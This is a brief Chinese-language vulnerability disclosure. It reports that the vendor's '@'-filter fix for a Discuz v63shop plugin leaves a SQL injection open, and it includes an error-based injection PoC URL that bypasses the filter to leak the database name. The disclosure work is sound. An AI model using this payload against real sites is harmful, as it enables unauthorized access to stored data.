### 简要描述:
过滤字符串中的@,但是始终没有修复根本问题
### 详细说明:
官方的修复代码加了一个if判断
```
if(strpos($clean, '@') !== false) {
return '-3';
}
```
过滤字符串中的@,但是始终没有修复根本问题,用如下方法可以去掉$clean变量中的@
```
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
```
### 漏洞证明:
PoC:
```
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
```
